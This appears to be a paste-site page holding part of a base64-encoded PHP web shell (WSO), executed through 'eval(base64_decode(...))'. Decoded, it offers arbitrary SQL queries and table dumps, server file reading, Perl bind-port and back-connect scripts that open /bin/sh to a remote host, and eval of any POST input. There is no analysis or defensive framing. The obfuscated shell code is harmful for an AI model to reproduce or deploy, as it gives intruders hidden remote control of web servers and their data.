ZD4gCiAgICAgICAgICAgIDwvdHI+IAogICAgICAgIDwvdGFibGU+IAogICAgICAgIDxzY3JpcHQ+IAogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7IAogICAgICAgICAgICBmdW5jdGlvbiBmcyhmKSB7IAogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsgCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsgCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMikgZi5wMi52YWx1ZT0nJzsgCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9IAogICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsgCiAgICAgICAgICAgICAgICBkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7IAogICAgICAgICAgICAgICAgZC5zZi5wMi52YWx1ZSA9IHQ7IAogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsgCiAgICAgICAgICAgICAgICBkLnNmLnN1Ym1pdCgpOyAKICAgICAgICAgICAgfSAKICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7IAogICAgICAgICAgICAgICAgZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkgCiAgICAgICAgICAgICAgICAgICAgZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsgCiAgICAgICAgICAgIH0gCiAgICAgICAgPC9zY3JpcHQ+IjsgCiAgICBpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IAogICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7IAogICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7IAogICAgICAgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOyAKICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOyAKICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOyAKICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7IAogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOyAKICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpIAogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOyAKICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7IAogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOyAKICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsgCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsgCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOyAKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOyAKICAgICAgICAgICAgICAgICAgICAkbnVtID0gJGRiLT5mZXRjaCgpOyAKICAgICAgICAgICAgICAgICAgICAkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOyAKICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsgCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkgCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOyAKICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpIAogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsgCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07IAogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKSAKICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsgCiAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPjxicj4iOyAKICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgeyAKICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KEAkX1BPU1RbJ3AyJ10pOyAKICAgICAgICAgICAgICAgICAgICBpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNlOyAKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yIGNsYXNzPW1haW4gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzI5MjkyOSI+JzsgCiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsgCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgeyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpKS4nPC90ZD4nOyAKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7IAogICAgICAgICAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RhYmxlPic7IAogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IAogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7IAogICAgICAgICAgICAgICAgICAgIH0gCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgZWNobyAiPGJyPjwvZm9ybT48Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cInF1ZXJ5XCI7ZC5zZi5wMi52YWx1ZT10aGlzLnF1ZXJ5LnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjx0ZXh0YXJlYSBuYW1lPSdxdWVyeScgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjEwMHB4Jz4iOyAKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpIAogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOyAKICAgICAgICAgICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0V4ZWN1dGUnPiI7IAogICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBlY2hvICI8L3RhYmxlPjwvZm9ybT48YnIvPiI7IAogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgeyAKICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoIlNFTEVDVCAxIEZST00gbXlzcWwudXNlciBXSEVSRSBjb25jYXQoYHVzZXJgLCAnQCcsIGBob3N0YCkgPSBVU0VSKCkgQU5EIGBGaWxlX3ByaXZgID0gJ3knIik7IAogICAgICAgICAgICAgICAgaWYoJGRiLT5mZXRjaCgpKSAKICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT1cImxvYWRmaWxlXCI7ZG9jdW1lbnQuc2YucDIudmFsdWU9dGhpcy5mLnZhbHVlO2RvY3VtZW50LnNmLnN1Ym1pdCgpO3JldHVybiBmYWxzZTsnPjxzcGFuPkxvYWQgZmlsZTwvc3Bhbj4gPGlucHV0ICBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPiI7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsgCiAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+bG9hZEZpbGUoJF9QT1NUWydwMiddKTsgCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7IAogICAgICAgICAgICB9IAogICAgfSBlbHNlIHsgCiAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkYi0+ZXJyb3IoKSk7IAogICAgfSAKICAgIGVjaG8gJzwvZGl2Pic7IAogICAgd3NvRm9vdGVyKCk7IAp9IApmdW5jdGlvbiBhY3Rpb25OZXR3b3JrKCkgeyAKICAgIHdzb0hlYWRlcigpOyAKICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOyAgJGJpbmRfcG9ydF9wPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRb2tVMGhGVEV3OUlpOWlhVzR2YzJnZ0xXa2lPdzBLYVdZZ0tFQkJVa2RXSUR3Z01Ta2dleUJsZUdsMEtERXBPeUI5RFFwMWMyVWdVMjlqYTJWME93MEtjMjlqYTJWMEtGTXNKbEJHWDBsT1JWUXNKbE5QUTB0ZlUxUlNSVUZOTEdkbGRIQnliM1J2WW5sdVlXMWxLQ2QwWTNBbktTa2dmSHdnWkdsbElDSkRZVzUwSUdOeVpXRjBaU0J6YjJOclpYUmNiaUk3RFFwelpYUnpiMk5yYjNCMEtGTXNVMDlNWDFOUFEwdEZWQ3hUVDE5U1JWVlRSVUZFUkZJc01TazdEUXBpYVc1a0tGTXNjMjlqYTJGa1pISmZhVzRvSkVGU1IxWmJNRjBzU1U1QlJFUlNYMEZPV1NrcElIeDhJR1JwWlNBaVEyRnVkQ0J2Y0dWdUlIQnZjblJjYmlJN0RRcHNhWE4wWlc0b1V5d3pLU0I4ZkNCa2FXVWdJa05oYm5RZ2JHbHpkR1Z1SUhCdmNuUmNiaUk3RFFwM2FHbHNaU2d4S1NCN0RRb0pZV05qWlhCMEtFTlBUazRzVXlrN0RRb0phV1lvSVNna2NHbGtQV1p2Y21zcEtTQjdEUW9KQ1dScFpTQWlRMkZ1Ym05MElHWnZjbXNpSUdsbUlDZ2haR1ZtYVc1bFpDQWtjR2xrS1RzTkNna0piM0JsYmlCVFZFUkpUaXdpUENaRFQwNU9JanNOQ2drSmIzQmxiaUJUVkVSUFZWUXNJajRtUTA5T1RpSTdEUW9KQ1c5d1pXNGdVMVJFUlZKU0xDSStKa05QVGs0aU93MEtDUWxsZUdWaklDUlRTRVZNVENCOGZDQmthV1VnY0hKcGJuUWdRMDlPVGlBaVEyRnVkQ0JsZUdWamRYUmxJQ1JUU0VWTVRGeHVJanNOQ2drSlkyeHZjMlVnUTA5T1Rqc05DZ2tKWlhocGRDQXdPdzBLQ1gwTkNuMD0iOyAKICAgIGVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IAogIAogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdicHAnLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPiAKICAgIDxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoIFtwZXJsXTwvc3Bhbj48YnIvPiAKICAgIFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nMzEzMzcnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz4gCiAgICA8L2Zvcm0+IAogICAgPGZvcm0gbmFtZT0nbmZwJyBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPiAKICAgIDxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+IAogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc2VydmVyJyB2YWx1ZT0nIi4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiInPiBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+IAogIAogICAgPC9mb3JtPjxicj4iOyAKICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgCiAgICAgICAgZnVuY3Rpb24gY2YoJGYsJHQpIHsgCiAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsgCiAgICAgICAgICAgIGlmKCR3KXsgCiAgICAgICAgICAgICAgICBAZndyaXRlKCR3LEBiYXNlNjRfZGVjb2RlKCR0KSk7IAogICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7IAogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsgCiAgICAgICAgICAgICRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JwLnBsICIuJF9QT1NUWydwMiddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7IAogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0XG4iLndzb0V4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7IAogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsgCiAgICAgICAgfSAKICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsgCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOyAKICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYmMucGwgIi4kX1BPU1RbJ3AyJ10uIiAiLiRfUE9TVFsncDMnXS4iIDE+L2Rldi9udWxsIDI+JjEgJiIpOyAKICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JG91dFxuIi53c29FeCgicHMgYXV4IHwgZ3JlcCBiYy5wbCIpLiI8L3ByZT4iOyAKICAgICAgICAgICAgdW5saW5rKCIvdG1wL2JjLnBsIik7IAogICAgICAgIH0gCiAgICB9IAogICAgZWNobyAnPC9kaXY+JzsgCiAgICB3c29Gb290ZXIoKTsgCn0gCmZ1bmN0aW9uIGFjdGlvblJDKCkgeyAKICAgIGlmKCFAJF9QT1NUWydwMSddKSB7IAogICAgICAgICRhID0gYXJyYXkoIAogICAgICAgICAgICAidW5hbWUiID0+IHBocF91bmFtZSgpLCAKICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksIAogICAgICAgICAgICAid3NvX3ZlcnNpb24iID0+IFdTT19WRVJTSU9OLCAKICAgICAgICAgICAgInNhZmVtb2RlIiA9PiBAaW5pX2dldCgnc2FmZV9tb2RlJykgCiAgICAgICAgKTsgCiAgICAgICAgZWNobyBzZXJpYWxpemUoJGEpOyAKICAgIH0gZWxzZSB7IAogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgCiAgICB9IAp9IAppZiggZW1wdHkoJF9QT1NUWydhJ10pICkgCiAgICBpZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRkZWZhdWx0X2FjdGlvbikpIAogICAgICAgICRfUE9TVFsnYSddID0gJGRlZmF1bHRfYWN0aW9uOyAKICAgIGVsc2UKICAgICAgICAkX1BPU1RbJ2EnXSA9ICdTZWNJbmZvJzsgCmlmKCAhZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWN0aW9uJyAuICRfUE9TVFsnYSddKSApIAogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7IApmdW5jdGlvbiBGZXRjaFVSTCgkdXJsKSB7IAogICAgICAgICAkY2ggPSBjdXJsX2luaXQoKTsgCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICIkY2hlYWRlciIpOyAKICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsgCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsgCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyAKICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsgCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9USU1FT1VULCAzMCk7IAogICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOyAKICAgICAgICAgaWYoISRkYXRhKSB7IAogICAgICAgICAgICByZXR1cm4gZmFsc2U7IAogICAgICAgICB9IAogICAgICAgICByZXR1cm4gJGRhdGE7IAogICAgICB9IApleGl0OyAK";
- eval(base64_decode($h3x));
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement